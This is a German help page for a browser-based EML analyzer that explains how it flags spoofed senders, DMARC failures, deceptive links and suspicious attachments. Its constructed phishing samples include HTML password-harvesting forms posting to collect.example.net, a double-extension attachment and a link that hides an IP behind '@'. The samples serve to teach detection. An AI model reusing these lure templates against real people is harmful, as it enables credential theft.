SPF (mit dem Limit von 10 Lookups), DMARC, DKIM, MTA-STS und BIMI einer Domain prüfen.
Netzwerk: DoHNeu
EML-Analyzer
Läuft lokalNeu
Das Tool selbst ist auf Englisch; auf dieser Seite wird es in Ihrer Sprache erklärt.
EML-Analyzer verwenden
Was es bewirkt
Ziehen Sie eine .eml-Datei hierher oder fügen Sie den Quelltext einer Nachricht ein, um Absender-Header, Received-Kette, Links und Anhänge zu prüfen. Alles läuft in Ihrem Browser.
Es läuft vollständig in Ihrem Browser: Es werden keine Ihrer Eingaben hochgeladen.
So verwenden Sie EML-Analyzer
- Rohe Nachricht beschaffen. Speichern Sie die E-Mail als .eml, oder kopieren Sie ihren Quelltext: Gmail Show original (Original anzeigen), Outlook View message source, Thunderbird oder Apple Mail View source. Outlook-Dateien im .msg-Format werden nicht gelesen.
- Laden. Ziehen Sie die .eml-Datei auf das Feld oder wählen Sie sie aus (bis 50 MB), oder fügen Sie den Quelltext in das Textfeld ein (bis 5 MB) und drücken Sie Analyze (Analysieren).
- Summary lesen. Die Befunde sind sortiert in Gefahrenzeichen, Warnungen, Hinweise und bestandene Prüfungen. Jede Zeile nennt den Header, Link oder Anhang, aus dem sie stammt.
- Details prüfen. Unter der Zusammenfassung folgen die Absender-Header, die mit der From-Domain verglichenen Domains, die Authentifizierungsergebnisse, die Received-Kette, jeder Link und jeder Anhang.
- Indikatoren übernehmen. Haken Sie die benötigten Indikatortypen an, und kopieren Sie sie roh oder entschärft, laden Sie sie als .txt-Datei herunter, oder verwenden Sie Send to.
Beispiel
Konstruierte Phishing-Nachricht
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Ein Anzeigename, der sich als support@example.com ausgibt, Reply-To und DKIM auf anderen Domains, DMARC fail, ein Link, dessen Text www.example.com zeigt, der aber zu login.example.net führt, und ein Anhang invoice.pdf.html mit einem Passwortformular.
Was dabei geprüft wird
| Signal | Was das bedeutet |
|---|---|
| Anzeigename mit E-Mail-Adresse | Gefahr, wenn der Name eine Adresse zeigt und der tatsächliche Absender eine andere ist. Mailprogramme zeigen oft nur den Namen. |
| Reply-To auf einer anderen Domain | Eine Warnung: Ihre Antwort ginge an eine andere Organisation als die des Absenders. |
| Authentication-Results | DMARC fail und SPF fail sind Gefahrenzeichen; SPF softfail und DKIM fail sind Warnungen. Es zählt nur das Ergebnis, das Ihr eigener Anbieter hinzugefügt hat. |
| Domains in Return-Path und DKIM d= | Werden vermerkt, wenn sie von der From-Domain abweichen. Bei Massenmail-Diensten ist das normal, aber für DMARC muss eine davon mit ihr übereinstimmen (Alignment). |
| Received-Kette | Die Hops werden vom ältesten an mit Verzögerungen aufgelistet. Ein Zeitstempel vor dem des vorherigen Hops, eine Verzögerung von über einer Stunde oder ein Reverse DNS mit „may be forged“ werden markiert. |
| Linktext und Ziel | Gefahr, wenn der sichtbare Text eine Domain nennt und der Link zu einer anderen führt oder wenn Text vor @ den echten Host verbirgt. Bloße IPs, Punycode, URL-Kürzer und umhüllte Links werden ebenfalls markiert. |
| Anhänge | Doppelte Endungen, Dateien, die Code ausführen oder sich im Browser öffnen, Inhalte, die nicht zur Endung passen, und Tricks mit Right-to-Left Override werden markiert. Jede Datei erhält SHA-256, SHA-1 und MD5. |
| Formulare und Skripte in HTML | Ein Formular mit Passwortfeld im Nachrichtentext oder in einem Anhang ist ein Gefahrenzeichen. Skriptcode in einem Anhang ist eine Warnung. |
Weitere Beispiele
Ein Link, der eine IP-Adresse verbirgt
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 Gefahrenzeichen, „1 link: text before "@" is ignored: the real host is 203.0.113.7“, und 1 Warnung, „1 link: link goes to a bare IP address“. Die Links-Tabelle zeigt die Adresse entschärft neben ihrem Text, Upgrade storage.
Eine HTML-Seite, die sich als PDF ausgibt
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 Gefahrenzeichen: Der Anhang invoice.pdf „contains a form with a password field“, und sein „content is HTML document, not .pdf“. Die Anhangskarte zeigt Content: HTML document und drei Hashes; die Links-Tabelle führt das Formularziel mit „form submits data to this address“ auf.
Häufig gestellte Fragen
Was prüft der EML Analyzer?
Er dekodiert die Header und jeden MIME-Teil, vergleicht die Domains aus From, Reply-To, Return-Path, DKIM d= und Message-ID und liest die Authentication-Results. Außerdem listet er die Received-Hops mit ihren Verzögerungen auf, jeden Link mit seinem sichtbaren Text sowie SHA-256, SHA-1 und MD5 jedes Anhangs.
Kann er beweisen, dass eine E-Mail Phishing ist oder dass sie sicher ist?
Nein. Er zeigt Fakten und Warnzeichen, kein Urteil: Legitime Massenmails haben oft einen abweichenden Return-Path oder eine andere DKIM-Domain, und DKIM-Signaturen werden aufgelistet, aber nicht kryptografisch verifiziert. Outlook-Dateien im .msg-Format werden nicht unterstützt; speichern Sie die Nachricht zuerst als .eml.
Wird die E-Mail irgendwohin hochgeladen?
Nein. Die Datei wird in Ihrem Browser gelesen und analysiert, das HTML wird als Text angezeigt und nie gerendert, und nichts geht über das Netzwerk. Die Schaltfläche Send to übergibt ein Ergebnis über den Session Storage Ihres Browsers an eine andere Tool-Seite.
Welchem Authentication-Results-Header vertraut das Tool?
Dem, den Ihr eigenes Mailsystem hinzugefügt hat; er wird anhand der Received-Kette erkannt und mit „added by the recipient's server“ markiert. Header weiter unten in der Nachricht kann der Absender schreiben, daher rät die Seite, nur dem Ergebnis Ihres Anbieters zu vertrauen.
Kann es eine E-Mail öffnen, die an eine andere E-Mail angehängt ist?
Ja. Eine angehängte Nachricht wird mit ihren Hashes und einer Schaltfläche „Analyze the attached message“ aufgeführt, die sie in derselben Ansicht öffnet. „Back to the outer message“ führt zurück.
Warum fehlen manche IP-Adressen bei den Indikatoren?
Private und lokale Adressen sowie Hops innerhalb des eigenen Mailsystems des Empfängers werden ausgelassen, weil sie nicht auf die Server des Absenders verweisen. Auch E-Mail-Adressen von Empfängern werden nie aufgenommen.